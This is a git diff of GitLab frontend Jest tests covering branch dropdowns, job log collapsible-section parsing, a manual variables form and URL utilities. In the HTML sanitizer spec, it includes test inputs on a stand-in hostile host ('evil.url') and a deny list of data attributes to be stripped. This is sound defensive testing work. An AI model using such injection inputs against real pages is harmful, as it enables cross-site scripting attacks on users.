+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findDropdownItemByText = (text) =>
+ findAllDropdownItems().wrappers.find((item) => item.text() === text);
+ const findSearchBox = () => wrapper.findComponent(GlSearchBoxByType);
+
+ const assertDropdownItems = () => {
+ const dropdownItems = findAllDropdownItems();
+ expect(dropdownItems.wrappers).toHaveLength(mockProject.repository.branchNames.length);
+ expect(dropdownItems.wrappers.map((item) => item.text())).toEqual(
+ mockProject.repository.branchNames,
+ );
+ };
+
+ function createMockApolloProvider({ getProjectQueryLoading = false } = {}) {
+ localVue.use(VueApollo);
+
+ const mockApollo = createMockApollo([
+ [getProjectQuery, getProjectQueryLoading ? mockQueryLoading : mockGetProjectQuery],
+ ]);
+
+ return mockApollo;
+ }
+
+ function createComponent({ mockApollo, props, mountFn = shallowMount } = {}) {
+ wrapper = mountFn(SourceBranchDropdown, {
+ localVue,
+ apolloProvider: mockApollo || createMockApolloProvider(),
+ propsData: props,
+ });
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when `selectedProject` prop is not specified', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('sets dropdown `disabled` prop to `true`', () => {
+ expect(findDropdown().props('disabled')).toBe(true);
+ });
+
+ describe('when `selectedProject` becomes specified', () => {
+ beforeEach(async () => {
+ wrapper.setProps({
+ selectedProject: mockProject,
+ });
+
+ await waitForPromises();
+ });
+
+ it('sets dropdown props correctly', () => {
+ expect(findDropdown().props()).toMatchObject({
+ loading: false,
+ disabled: false,
+ text: 'Select a branch',
+ });
+ });
+
+ it('renders available source branches as dropdown items', () => {
+ assertDropdownItems();
+ });
+ });
+ });
+
+ describe('when `selectedProject` prop is specified', () => {
+ describe('when branches are loading', () => {
+ it('renders loading icon in dropdown', () => {
+ createComponent({
+ mockApollo: createMockApolloProvider({ getProjectQueryLoading: true }),
+ props: { selectedProject: mockProject },
+ });
+
+ expect(findLoadingIcon().isVisible()).toBe(true);
+ });
+ });
+
+ describe('when branches have loaded', () => {
+ describe('when searching branches', () => {
+ it('triggers a refetch', async () => {
+ createComponent({ mountFn: mount, props: { selectedProject: mockProject } });
+ await waitForPromises();
+ jest.clearAllMocks();
+
+ const mockSearchTerm = 'mai';
+ await findSearchBox().vm.$emit('input', mockSearchTerm);
+
+ expect(mockGetProjectQuery).toHaveBeenCalledWith({
+ branchNamesLimit: BRANCHES_PER_PAGE,
+ branchNamesOffset: 0,
+ branchNamesSearchPattern: `*${mockSearchTerm}*`,
+ projectPath: 'test-path',
+ });
+ });
+ });
+
+ describe('template', () => {
+ beforeEach(async () => {
+ createComponent({ props: { selectedProject: mockProject } });
+ await waitForPromises();
+ });
+
+ it('sets dropdown props correctly', () => {
+ expect(findDropdown().props()).toMatchObject({
+ loading: false,
+ disabled: false,
+ text: 'Select a branch',
+ });
+ });
+
+ it('omits monospace styling from dropdown', () => {
+ expect(findDropdown().classes()).not.toContain('gl-font-monospace');
+ });
+
+ it('renders available source branches as dropdown items', () => {
+ assertDropdownItems();
+ });
+
+ it("emits `change` event with the repository's `rootRef` by default", () => {
+ expect(wrapper.emitted('change')[0]).toEqual([mockProject.repository.rootRef]);
+ });
+
+ describe('when selecting a dropdown item', () => {
+ it('emits `change` event with the selected branch name', async () => {
+ const mockBranchName = mockProject.repository.branchNames[1];
+ const itemToSelect = findDropdownItemByText(mockBranchName);
+ await itemToSelect.vm.$emit('click');
+
+ expect(wrapper.emitted('change')[1]).toEqual([mockBranchName]);
+ });
+ });
+
+ describe('when `selectedBranchName` prop is specified', () => {
+ const mockBranchName = mockProject.repository.branchNames[2];
+
+ beforeEach(async () => {
+ wrapper.setProps({
+ selectedBranchName: mockBranchName,
+ });
+ });
+
+ it('sets `isChecked` prop of the corresponding dropdown item to `true`', () => {
+ expect(findDropdownItemByText(mockBranchName).props('isChecked')).toBe(true);
+ });
+
+ it('sets dropdown text to `selectedBranchName` value', () => {
+ expect(findDropdown().props('text')).toBe(mockBranchName);
+ });
+
+ it('adds monospace styling to dropdown', () => {
+ expect(findDropdown().classes()).toContain('gl-font-monospace');
+ });
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/jira_connect/components/groups_list_spec.js b/spec/frontend/jira_connect/components/groups_list_spec.js
index 4b875928a90..d583fb68771 100644
--- a/spec/frontend/jira_connect/components/groups_list_spec.js
+++ b/spec/frontend/jira_connect/components/groups_list_spec.js
@@ -160,9 +160,13 @@ describe('GroupsList', () => {
expect(findGroupsList().classes()).toContain('gl-opacity-5');
});
- it('sets loading prop of ths search box', () => {
+ it('sets loading prop of the search box', () => {
expect(findSearchBox().props('isLoading')).toBe(true);
});
+
+ it('sets value prop of the search box to the search term', () => {
+ expect(findSearchBox().props('value')).toBe(mockSearchTeam);
+ });
});
describe('when group search finishes loading', () => {
diff --git a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
index 172b6e4831c..f2142ce1fcf 100644
--- a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
+++ b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
@@ -176,7 +176,6 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
<!---->
</div>
-
</ul>
</div>
</td>
@@ -304,7 +303,6 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
<!---->
</div>
-
</ul>
</div>
</td>
diff --git a/spec/frontend/jobs/components/empty_state_spec.js b/spec/frontend/jobs/components/empty_state_spec.js
index c9de110ce06..9738fd14275 100644
--- a/spec/frontend/jobs/components/empty_state_spec.js
+++ b/spec/frontend/jobs/components/empty_state_spec.js
@@ -9,7 +9,6 @@ describe('Empty State', () => {
illustrationSizeClass: 'svg-430',
title: 'This job has not started yet',
playable: false,
- variablesSettingsUrl: '',
};
const createWrapper = (props) => {
diff --git a/spec/frontend/jobs/components/job_app_spec.js b/spec/frontend/jobs/components/job_app_spec.js
index 3fcefde1aba..1f4dd7d6216 100644
--- a/spec/frontend/jobs/components/job_app_spec.js
+++ b/spec/frontend/jobs/components/job_app_spec.js
@@ -24,6 +24,7 @@ describe('Job App', () => {
let store;
let wrapper;
let mock;
+ let origGon;
const initSettings = {
endpoint: `${TEST_HOST}jobs/123.json`,
@@ -37,7 +38,6 @@ describe('Job App', () => {
deploymentHelpUrl: 'help/deployment',
codeQualityHelpPath: '/help/code_quality',
runnerSettingsUrl: 'settings/ci-cd/runners',
- variablesSettingsUrl: 'settings/ci-cd/variables',
terminalPath: 'jobs/123/terminal',
projectPath: 'user-name/project-name',
subscriptionsMoreMinutesUrl: 'https://customers.gitlab.com/buy_pipeline_minutes',
@@ -86,11 +86,17 @@ describe('Job App', () => {
beforeEach(() => {
mock = new MockAdapter(axios);
store = createStore();
+
+ origGon = window.gon;
+
+ window.gon = { features: { infinitelyCollapsibleSections: false } }; // NOTE: All of this passes with the feature flag
});
afterEach(() => {
wrapper.destroy();
mock.restore();
+
+ window.gon = origGon;
});
describe('while loading', () => {
diff --git a/spec/frontend/jobs/components/log/collapsible_section_spec.js b/spec/frontend/jobs/components/log/collapsible_section_spec.js
index 66f22162c97..4e23a3ba7b8 100644
--- a/spec/frontend/jobs/components/log/collapsible_section_spec.js
+++ b/spec/frontend/jobs/components/log/collapsible_section_spec.js
@@ -4,6 +4,7 @@ import { collapsibleSectionClosed, collapsibleSectionOpened } from './mock_data'
describe('Job Log Collapsible Section', () => {
let wrapper;
+ let origGon;
const traceEndpoint = 'jobs/335';
@@ -18,8 +19,16 @@ describe('Job Log Collapsible Section', () => {
});
};
+ beforeEach(() => {
+ origGon = window.gon;
+
+ window.gon = { features: { infinitelyCollapsibleSections: false } }; // NOTE: This also works with true
+ });
+
afterEach(() => {
wrapper.destroy();
+
+ window.gon = origGon;
});
describe('with closed section', () => {
diff --git a/spec/frontend/jobs/components/log/line_spec.js b/spec/frontend/jobs/components/log/line_spec.js
index 367154e7f82..d184696cd1f 100644
--- a/spec/frontend/jobs/components/log/line_spec.js
+++ b/spec/frontend/jobs/components/log/line_spec.js
@@ -94,6 +94,16 @@ describe('Job Log Line', () => {
expect(findLinkAttributeByIndex(0).href).toBe(queryUrl);
});
+ it('renders links that have brackets `[]` in their parameters', () => {
+ const url = `${httpUrl}?label_name[]=frontend`;
+
+ createComponent(mockProps({ text: url }));
+
+ expect(findLine().text()).toBe(url);
+ expect(findLinks().at(0).text()).toBe(url);
+ expect(findLinks().at(0).attributes('href')).toBe(url);
+ });
+
it('renders multiple links surrounded by text', () => {
createComponent(
mockProps({ text: `Well, my HTTP url: ${httpUrl} and my HTTPS url: ${httpsUrl}` }),
@@ -125,6 +135,26 @@ describe('Job Log Line', () => {
expect(findLinkAttributeByIndex(4).href).toBe(httpsUrl);
});
+ it('renders multiple links surrounded by brackets', () => {
+ createComponent(mockProps({ text: `(${httpUrl}) <${httpUrl}> {${httpsUrl}}` }));
+ expect(findLine().text()).toBe(
+ '(http://example.com) <http://example.com> {https://example.com}',
+ );
+
+ const links = findLinks();
+
+ expect(links).toHaveLength(3);
+
+ expect(links.at(0).text()).toBe(httpUrl);
+ expect(links.at(0).attributes('href')).toBe(httpUrl);
+
+ expect(links.at(1).text()).toBe(httpUrl);
+ expect(links.at(1).attributes('href')).toBe(httpUrl);
+
+ expect(links.at(2).text()).toBe(httpsUrl);
+ expect(links.at(2).attributes('href')).toBe(httpsUrl);
+ });
+
it('renders text with symbols in it', () => {
const text = 'apt-get update < /dev/null > /dev/null';
createComponent(mockProps({ text }));
diff --git a/spec/frontend/jobs/components/log/log_spec.js b/spec/frontend/jobs/components/log/log_spec.js
index b7aff1f3e3b..99fb6846ce5 100644
--- a/spec/frontend/jobs/components/log/log_spec.js
+++ b/spec/frontend/jobs/components/log/log_spec.js
@@ -1,7 +1,7 @@
import { mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import Log from '~/jobs/components/log/log.vue';
-import { logLinesParser } from '~/jobs/store/utils';
+import { logLinesParserLegacy, logLinesParser } from '~/jobs/store/utils';
import { jobLog } from './mock_data';
describe('Job Log', () => {
@@ -9,6 +9,7 @@ describe('Job Log', () => {
let actions;
let state;
let store;
+ let origGon;
const localVue = createLocalVue();
localVue.use(Vuex);
@@ -25,8 +26,12 @@ describe('Job Log', () => {
toggleCollapsibleLine: () => {},
};
+ origGon = window.gon;
+
+ window.gon = { features: { infinitelyCollapsibleSections: false } };
+
state = {
- trace: logLinesParser(jobLog),
+ trace: logLinesParserLegacy(jobLog),
traceEndpoint: 'jobs/id',
};
@@ -40,6 +45,88 @@ describe('Job Log', () => {
afterEach(() => {
wrapper.destroy();
+
+ window.gon = origGon;
+ });
+
+ const findCollapsibleLine = () => wrapper.find('.collapsible-line');
+
+ describe('line numbers', () => {
+ it('renders a line number for each open line', () => {
+ expect(wrapper.find('#L1').text()).toBe('1');
+ expect(wrapper.find('#L2').text()).toBe('2');
+ expect(wrapper.find('#L3').text()).toBe('3');
+ });
+
+ it('links to the provided path and correct line number', () => {
+ expect(wrapper.find('#L1').attributes('href')).toBe(`${state.traceEndpoint}#L1`);
+ });
+ });
+
+ describe('collapsible sections', () => {
+ it('renders a clickable header section', () => {
+ expect(findCollapsibleLine().attributes('role')).toBe('button');
+ });
+
+ it('renders an icon with the open state', () => {
+ expect(findCollapsibleLine().find('[data-testid="angle-down-icon"]').exists()).toBe(true);
+ });
+
+ describe('on click header section', () => {
+ it('calls toggleCollapsibleLine', () => {
+ jest.spyOn(wrapper.vm, 'toggleCollapsibleLine');
+
+ findCollapsibleLine().trigger('click');
+
+ expect(wrapper.vm.toggleCollapsibleLine).toHaveBeenCalled();
+ });
+ });
+ });
+});
+
+describe('Job Log, infinitelyCollapsibleSections feature flag enabled', () => {
+ let wrapper;
+ let actions;
+ let state;
+ let store;
+ let origGon;
+
+ const localVue = createLocalVue();
+ localVue.use(Vuex);
+
+ const createComponent = () => {
+ wrapper = mount(Log, {
+ localVue,
+ store,
+ });
+ };
+
+ beforeEach(() => {
+ actions = {
+ toggleCollapsibleLine: () => {},
+ };
+
+ origGon = window.gon;
+
+ window.gon = { features: { infinitelyCollapsibleSections: true } };
+
+ state = {
+ trace: logLinesParser(jobLog).parsedLines,
+ traceEndpoint: 'jobs/id',
+ };
+
+ store = new Vuex.Store({
+ actions,
+ state,
+ });
+
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+
+ window.gon = origGon;
});
const findCollapsibleLine = () => wrapper.find('.collapsible-line');
diff --git a/spec/frontend/jobs/components/log/mock_data.js b/spec/frontend/jobs/components/log/mock_data.js
index eb8c4fe8bc9..76c35703106 100644
--- a/spec/frontend/jobs/components/log/mock_data.js
+++ b/spec/frontend/jobs/components/log/mock_data.js
@@ -58,6 +58,71 @@ export const utilsMockData = [
},
];
+export const multipleCollapsibleSectionsMockData = [
+ {
+ offset: 1001,
+ content: [{ text: ' on docker-auto-scale-com 8a6210b8' }],
+ },
+ {
+ offset: 1002,
+ content: [
+ {
+ text: 'Executing "step_script" stage of the job script',
+ },
+ ],
+ section: 'step-script',
+ section_header: true,
+ },
+ {
+ offset: 1003,
+ content: [{ text: 'sleep 60' }],
+ section: 'step-script',
+ },
+ {
+ offset: 1004,
+ content: [
+ {
+ text:
+ 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam lorem dolor, congue ac condimentum vitae',
+ },
+ ],
+ section: 'step-script',
+ },
+ {
+ offset: 1005,
+ content: [{ text: 'executing...' }],
+ section: 'step-script',
+ },
+ {
+ offset: 1006,
+ content: [{ text: '1st collapsible section' }],
+ section: 'collapsible-1',
+ section_header: true,
+ },
+ {
+ offset: 1007,
+ content: [
+ {
+ text:
+ 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam lorem dolor, congue ac condimentum vitae',
+ },
+ ],
+ section: 'collapsible-1',
+ },
+ {
+ offset: 1008,
+ content: [],
+ section: 'collapsible-1',
+ section_duration: '01:00',
+ },
+ {
+ offset: 1009,
+ content: [],
+ section: 'step-script',
+ section_duration: '10:00',
+ },
+];
+
export const originalTrace = [
{
offset: 1,
diff --git a/spec/frontend/jobs/components/manual_variables_form_spec.js b/spec/frontend/jobs/components/manual_variables_form_spec.js
index 376a822dde5..7e42ee957d3 100644
--- a/spec/frontend/jobs/components/manual_variables_form_spec.js
+++ b/spec/frontend/jobs/components/manual_variables_form_spec.js
@@ -1,3 +1,4 @@
+import { GlSprintf, GlLink } from '@gitlab/ui';
import { createLocalVue, mount, shallowMount } from '@vue/test-utils';
import Vue from 'vue';
import Vuex from 'vuex';
@@ -18,7 +19,6 @@ describe('Manual Variables Form', () => {
method: 'post',
button_title: 'Trigger this manual action',
},
- variablesSettingsUrl: '/settings',
};
const createComponent = ({ props = {}, mountFn = shallowMount } = {}) => {
@@ -33,15 +33,19 @@ describe('Manual Variables Form', () => {
propsData: { ...requiredProps, ...props },
localVue,
store,
+ stubs: {
+ GlSprintf,
+ },
}),
);
};
const findInputKey = () => wrapper.findComponent({ ref: 'inputKey' });
const findInputValue = () => wrapper.findComponent({ ref: 'inputSecretValue' });
+ const findHelpText = () => wrapper.findComponent(GlSprintf);
+ const findHelpLink = () => wrapper.findComponent(GlLink);
const findTriggerBtn = () => wrapper.findByTestId('trigger-manual-job-btn');
- const findHelpText = () => wrapper.findByTestId('form-help-text');
const findDeleteVarBtn = () => wrapper.findByTestId('delete-variable-btn');
const findCiVariableKey = () => wrapper.findByTestId('ci-variable-key');
const findCiVariableValue = () => wrapper.findByTestId('ci-variable-value');
@@ -62,11 +66,10 @@ describe('Manual Variables Form', () => {
});
it('renders help text with provided link', () => {
- expect(findHelpText().text()).toBe(
- 'Specify variable values to be used in this run. The values specified in CI/CD settings will be used as default',
+ expect(findHelpText().exists()).toBe(true);
+ expect(findHelpLink().attributes('href')).toBe(
+ '/help/ci/variables/index#add-a-cicd-variable-to-a-project',
);
-
- expect(wrapper.find('a').attributes('href')).toBe(requiredProps.variablesSettingsUrl);
});
describe('when adding a new variable', () => {
diff --git a/spec/frontend/jobs/components/sidebar_detail_row_spec.js b/spec/frontend/jobs/components/sidebar_detail_row_spec.js
index bae4d6cf837..43f2e022dd8 100644
--- a/spec/frontend/jobs/components/sidebar_detail_row_spec.js
+++ b/spec/frontend/jobs/components/sidebar_detail_row_spec.js
@@ -7,7 +7,7 @@ describe('Sidebar detail row', () => {
const title = 'this is the title';
const value = 'this is the value';
- const helpUrl = '/help/ci/runners/README.html';
+ const helpUrl = '/help/ci/runners/index.html';
const findHelpLink = () => wrapper.findComponent(GlLink);
diff --git a/spec/frontend/jobs/store/mutations_spec.js b/spec/frontend/jobs/store/mutations_spec.js
index 1c7e45dfb3d..159315330e4 100644
--- a/spec/frontend/jobs/store/mutations_spec.js
+++ b/spec/frontend/jobs/store/mutations_spec.js
@@ -4,12 +4,21 @@ import state from '~/jobs/store/state';
describe('Jobs Store Mutations', () => {
let stateCopy;
+ let origGon;
const html =
'I, [2018-08-17T22:57:45.707325 #1841] INFO -- : Writing /builds/ab89e95b0fa0b9272ea0c797b76908f24d36992630e9325273a4ce3.png<br>I';
beforeEach(() => {
stateCopy = state();
+
+ origGon = window.gon;
+
+ window.gon = { features: { infinitelyCollapsibleSections: false } };
+ });
+
+ afterEach(() => {
+ window.gon = origGon;
});
describe('SET_JOB_ENDPOINT', () => {
@@ -267,3 +276,88 @@ describe('Jobs Store Mutations', () => {
});
});
});
+
+describe('Job Store mutations, feature flag ON', () => {
+ let stateCopy;
+ let origGon;
+
+ const html =
+ 'I, [2018-08-17T22:57:45.707325 #1841] INFO -- : Writing /builds/ab89e95b0fa0b9272ea0c797b76908f24d36992630e9325273a4ce3.png<br>I';
+
+ beforeEach(() => {
+ stateCopy = state();
+
+ origGon = window.gon;
+
+ window.gon = { features: { infinitelyCollapsibleSections: true } };
+ });
+
+ afterEach(() => {
+ window.gon = origGon;
+ });
+
+ describe('RECEIVE_TRACE_SUCCESS', () => {
+ describe('with new job log', () => {
+ describe('log.lines', () => {
+ describe('when append is true', () => {
+ it('sets the parsed log ', () => {
+ mutations[types.RECEIVE_TRACE_SUCCESS](stateCopy, {
+ append: true,
+ size: 511846,
+ complete: true,
+ lines: [
+ {
+ offset: 1,
+ content: [{ text: 'Running with gitlab-runner 11.12.1 (5a147c92)' }],
+ },
+ ],
+ });
+
+ expect(stateCopy.trace).toEqual([
+ {
+ offset: 1,
+ content: [{ text: 'Running with gitlab-runner 11.12.1 (5a147c92)' }],
+ lineNumber: 1,
+ },
+ ]);
+ });
+ });
+
+ describe('when lines are defined', () => {
+ it('sets the parsed log ', () => {
+ mutations[types.RECEIVE_TRACE_SUCCESS](stateCopy, {
+ append: false,
+ size: 511846,
+ complete: true,
+ lines: [
+ { offset: 0, content: [{ text: 'Running with gitlab-runner 11.11.1 (5a147c92)' }] },
+ ],
+ });
+
+ expect(stateCopy.trace).toEqual([
+ {
+ offset: 0,
+ content: [{ text: 'Running with gitlab-runner 11.11.1 (5a147c92)' }],
+ lineNumber: 1,
+ },
+ ]);
+ });
+ });
+
+ describe('when lines are null', () => {
+ it('sets the default value', () => {
+ mutations[types.RECEIVE_TRACE_SUCCESS](stateCopy, {
+ append: true,
+ html,
+ size: 511846,
+ complete: false,
+ lines: null,
+ });
+
+ expect(stateCopy.trace).toEqual([]);
+ });
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/jobs/store/utils_spec.js b/spec/frontend/jobs/store/utils_spec.js
index e50d304bb08..35ac2945ab5 100644
--- a/spec/frontend/jobs/store/utils_spec.js
+++ b/spec/frontend/jobs/store/utils_spec.js
@@ -1,5 +1,6 @@
import {
logLinesParser,
+ logLinesParserLegacy,
updateIncrementalTrace,
parseHeaderLine,
parseLine,
@@ -17,6 +18,7 @@ import {
headerTraceIncremental,
collapsibleTrace,
collapsibleTraceIncremental,
+ multipleCollapsibleSectionsMockData,
} from '../components/log/mock_data';
describe('Jobs Store Utils', () => {
@@ -175,11 +177,11 @@ describe('Jobs Store Utils', () => {
expect(isCollapsibleSection()).toEqual(false);
});
});
- describe('logLinesParser', () => {
+ describe('logLinesParserLegacy', () => {
let result;
beforeEach(() => {
- result = logLinesParser(utilsMockData);
+ result = logLinesParserLegacy(utilsMockData);
});
describe('regular line', () => {
@@ -216,6 +218,87 @@ describe('Jobs Store Utils', () => {
});
});
+ describe('logLinesParser', () => {
+ let result;
+
+ beforeEach(() => {
+ result = logLinesParser(utilsMockData);
+ });
+
+ describe('regular line', () => {
+ it('adds a lineNumber property with correct index', () => {
+ expect(result.parsedLines[0].lineNumber).toEqual(1);
+ expect(result.parsedLines[1].line.lineNumber).toEqual(2);
+ });
+ });
+
+ describe('collapsible section', () => {
+ it('adds a `isClosed` property', () => {
+ expect(result.parsedLines[1].isClosed).toEqual(false);
+ });
+
+ it('adds a `isHeader` property', () => {
+ expect(result.parsedLines[1].isHeader).toEqual(true);
+ });
+
+ it('creates a lines array property with the content of the collapsible section', () => {
+ expect(result.parsedLines[1].lines.length).toEqual(2);
+ expect(result.parsedLines[1].lines[0].content).toEqual(utilsMockData[2].content);
+ expect(result.parsedLines[1].lines[1].content).toEqual(utilsMockData[3].content);
+ });
+ });
+
+ describe('section duration', () => {
+ it('adds the section information to the header section', () => {
+ expect(result.parsedLines[1].line.section_duration).toEqual(
+ utilsMockData[4].section_duration,
+ );
+ });
+
+ it('does not add section duration as a line', () => {
+ expect(result.parsedLines[1].lines.includes(utilsMockData[4])).toEqual(false);
+ });
+ });
+
+ describe('multiple collapsible sections', () => {
+ beforeEach(() => {
+ result = logLinesParser(multipleCollapsibleSectionsMockData);
+ });
+
+ it('should contain a section inside another section', () => {
+ const innerSection = [
+ {
+ isClosed: false,
+ isHeader: true,
+ line: {
+ content: [{ text: '1st collapsible section' }],
+ lineNumber: 6,
+ offset: 1006,
+ section: 'collapsible-1',
+ section_duration: '01:00',
+ section_header: true,
+ },
+ lines: [
+ {
+ content: [
+ {
+ text:
+ 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam lorem dolor, congue ac condimentum vitae',
+ },
+ ],
+ lineNumber: 7,
+ offset: 1007,
+ section: 'collapsible-1',
+ },
+ ],
+ },
+ ];
+
+ expect(result.parsedLines[1].lines).toEqual(expect.arrayContaining(innerSection));
+ });
+ });
+ });
+
describe('findOffsetAndRemove', () => {
describe('when last item is header', () => {
const existingLog = [
@@ -391,7 +474,7 @@ describe('Jobs Store Utils', () => {
describe('updateIncrementalTrace', () => {
describe('without repeated section', () => {
it('concats and parses both arrays', () => {
- const oldLog = logLinesParser(originalTrace);
+ const oldLog = logLinesParserLegacy(originalTrace);
const result = updateIncrementalTrace(regularIncremental, oldLog);
expect(result).toEqual([
@@ -419,7 +502,7 @@ describe('Jobs Store Utils', () => {
describe('with regular line repeated offset', () => {
it('updates the last line and formats with the incremental part', () => {
- const oldLog = logLinesParser(originalTrace);
+ const oldLog = logLinesParserLegacy(originalTrace);
const result = updateIncrementalTrace(regularIncrementalRepeated, oldLog);
expect(result).toEqual([
@@ -438,7 +521,7 @@ describe('Jobs Store Utils', () => {
describe('with header line repeated', () => {
it('updates the header line and formats with the incremental part', () => {
- const oldLog = logLinesParser(headerTrace);
+ const oldLog = logLinesParserLegacy(headerTrace);
const result = updateIncrementalTrace(headerTraceIncremental, oldLog);
expect(result).toEqual([
@@ -464,7 +547,7 @@ describe('Jobs Store Utils', () => {
describe('with collapsible line repeated', () => {
it('updates the collapsible line and formats with the incremental part', () => {
- const oldLog = logLinesParser(collapsibleTrace);
+ const oldLog = logLinesParserLegacy(collapsibleTrace);
const result = updateIncrementalTrace(collapsibleTraceIncremental, oldLog);
expect(result).toEqual([
diff --git a/spec/frontend/lib/dompurify_spec.js b/spec/frontend/lib/dompurify_spec.js
index a01f86678e9..fa8dbb12a08 100644
--- a/spec/frontend/lib/dompurify_spec.js
+++ b/spec/frontend/lib/dompurify_spec.js
@@ -30,6 +30,9 @@ const unsafeUrls = [
`https://evil.url/${absoluteGon.sprite_file_icons}`,
];
+const forbiddenDataAttrs = ['data-remote', 'data-url', 'data-type', 'data-method'];
+const acceptedDataAttrs = ['data-random', 'data-custom'];
+
describe('~/lib/dompurify', () => {
let originalGon;
@@ -95,4 +98,17 @@ describe('~/lib/dompurify', () => {
expect(sanitize(htmlXlink)).toBe(expectedSanitized);
});
});
+
+ describe('handles data attributes correctly', () => {
+ it.each(forbiddenDataAttrs)('removes %s attributes', (attr) => {
+ const htmlHref = `<a ${attr}="true">hello</a>`;
+ expect(sanitize(htmlHref)).toBe('<a>hello</a>');
+ });
+
+ it.each(acceptedDataAttrs)('does not remove %s attributes', (attr) => {
+ const attrWithValue = `${attr}="true"`;
+ const htmlHref = `<a ${attrWithValue}>hello</a>`;
+ expect(sanitize(htmlHref)).toBe(`<a ${attrWithValue}>hello</a>`);
+ });
+ });
});
diff --git a/spec/frontend/lib/graphql_spec.js b/spec/frontend/lib/graphql_spec.js
new file mode 100644
index 00000000000..a39ce2ffd99
--- /dev/null
+++ b/spec/frontend/lib/graphql_spec.js
@@ -0,0 +1,54 @@
+import getPipelineDetails from 'shared_queries/pipelines/get_pipeline_details.query.graphql';
+import { stripWhitespaceFromQuery } from '~/lib/graphql';
+import { queryToObject } from '~/lib/utils/url_utility';
+
+describe('stripWhitespaceFromQuery', () => {
+ const operationName = 'getPipelineDetails';
+ const variables = `{
+ projectPath: 'root/abcd-dag',
+ iid: '44'
+ }`;
+
+ const testQuery = getPipelineDetails.loc.source.body;
+ const defaultPath = '/api/graphql';
+ const encodedVariables = encodeURIComponent(variables);
+
+ it('shortens the query argument by replacing multiple spaces and newlines with a single space', () => {
+ const testString = `${defaultPath}?query=${encodeURIComponent(testQuery)}`;
+ expect(testString.length > stripWhitespaceFromQuery(testString, defaultPath).length).toBe(true);
+ });
+
+ it('does not contract a single space', () => {
+ const simpleSingleString = `${defaultPath}?query=${encodeURIComponent('fragment Nonsense')}`;
+ expect(stripWhitespaceFromQuery(simpleSingleString, defaultPath)).toEqual(simpleSingleString);
+ });
+
+ it('works with a non-default path', () => {
+ const newPath = 'another/graphql/path';
+ const newPathSingleString = `${newPath}?query=${encodeURIComponent('fragment Nonsense')}`;
+ expect(stripWhitespaceFromQuery(newPathSingleString, newPath)).toEqual(newPathSingleString);
+ });
+
+ it('does not alter other arguments', () => {
+ const bareParams = `?query=${encodeURIComponent(
+ testQuery,
+ )}&operationName=${operationName}&variables=${encodedVariables}`;
+ const testLongString = `${defaultPath}${bareParams}`;
+
+ const processed = stripWhitespaceFromQuery(testLongString, defaultPath);
+ const decoded = decodeURIComponent(processed);
+ const params = queryToObject(decoded);
+
+ expect(params.operationName).toBe(operationName);
+ expect(params.variables).toBe(variables);
+ });
+
+ it('works when there are no query params', () => {
+ expect(stripWhitespaceFromQuery(defaultPath, defaultPath)).toEqual(defaultPath);
+ });
+
+ it('works when the params do not include a query', () => {
+ const paramsWithoutQuery = `${defaultPath}&variables=${encodedVariables}`;
+ expect(stripWhitespaceFromQuery(paramsWithoutQuery, defaultPath)).toEqual(paramsWithoutQuery);
+ });
+});
diff --git a/spec/frontend/lib/utils/common_utils_spec.js b/spec/frontend/lib/utils/common_utils_spec.js
index e03d1ef7295..f5a74ee7f09 100644
--- a/spec/frontend/lib/utils/common_utils_spec.js
+++ b/spec/frontend/lib/utils/common_utils_spec.js
@@ -1,6 +1,56 @@
import * as commonUtils from '~/lib/utils/common_utils';
describe('common_utils', () => {
+ describe('getPagePath', () => {
+ const { getPagePath } = commonUtils;
+
+ let originalBody;
+
+ beforeEach(() => {
+ originalBody = document.body;
+ document.body = document.createElement('body');
+ });
+
+ afterEach(() => {
+ document.body = originalBody;
+ });
+
+ it('returns an empty path if none is defined', () => {
+ expect(getPagePath()).toBe('');
+ expect(getPagePath(0)).toBe('');
+ });
+
+ describe('returns a path', () => {
+ const mockSection = 'my_section';
+ const mockSubSection = 'my_sub_section';
+ const mockPage = 'my_page';
+
+ it('returns a page', () => {
+ document.body.dataset.page = mockPage;
+
+ expect(getPagePath()).toBe(mockPage);
+ expect(getPagePath(0)).toBe(mockPage);
+ });
+
+ it('returns a section and page', () => {
+ document.body.dataset.page = `${mockSection}:${mockPage}`;
+
+ expect(getPagePath()).toBe(mockSection);
+ expect(getPagePath(0)).toBe(mockSection);
+ expect(getPagePath(1)).toBe(mockPage);
+ });
+
+ it('returns a section and subsection', () => {
+ document.body.dataset.page = `${mockSection}:${mockSubSection}:${mockPage}`;
+
+ expect(getPagePath()).toBe(mockSection);
+ expect(getPagePath(0)).toBe(mockSection);
+ expect(getPagePath(1)).toBe(mockSubSection);
+ expect(getPagePath(2)).toBe(mockPage);
+ });
+ });
+ });
+
describe('parseUrl', () => {
it('returns an anchor tag with url', () => {
expect(commonUtils.parseUrl('/some/absolute/url').pathname).toContain('some/absolute/url');
@@ -26,42 +76,6 @@ describe('common_utils', () => {
});
});
- describe('urlParamsToArray', () => {
- it('returns empty array for empty querystring', () => {
- expect(commonUtils.urlParamsToArray('')).toEqual([]);
- });
-
- it('should decode params', () => {
- expect(commonUtils.urlParamsToArray('?label_name%5B%5D=test')[0]).toBe('label_name[]=test');
- });
-
- it('should remove the question mark from the search params', () => {
- const paramsArray = commonUtils.urlParamsToArray('?test=thing');
-
- expect(paramsArray[0][0]).not.toBe('?');
- });
- });
-
- describe('urlParamsToObject', () => {
- it('parses path for label with trailing +', () => {
- expect(commonUtils.urlParamsToObject('label_name[]=label%2B', {})).toEqual({
- label_name: ['label+'],
- });
- });
-
- it('parses path for milestone with trailing +', () => {
- expect(commonUtils.urlParamsToObject('milestone_title=A%2B', {})).toEqual({
- milestone_title: 'A+',
- });
- });
-
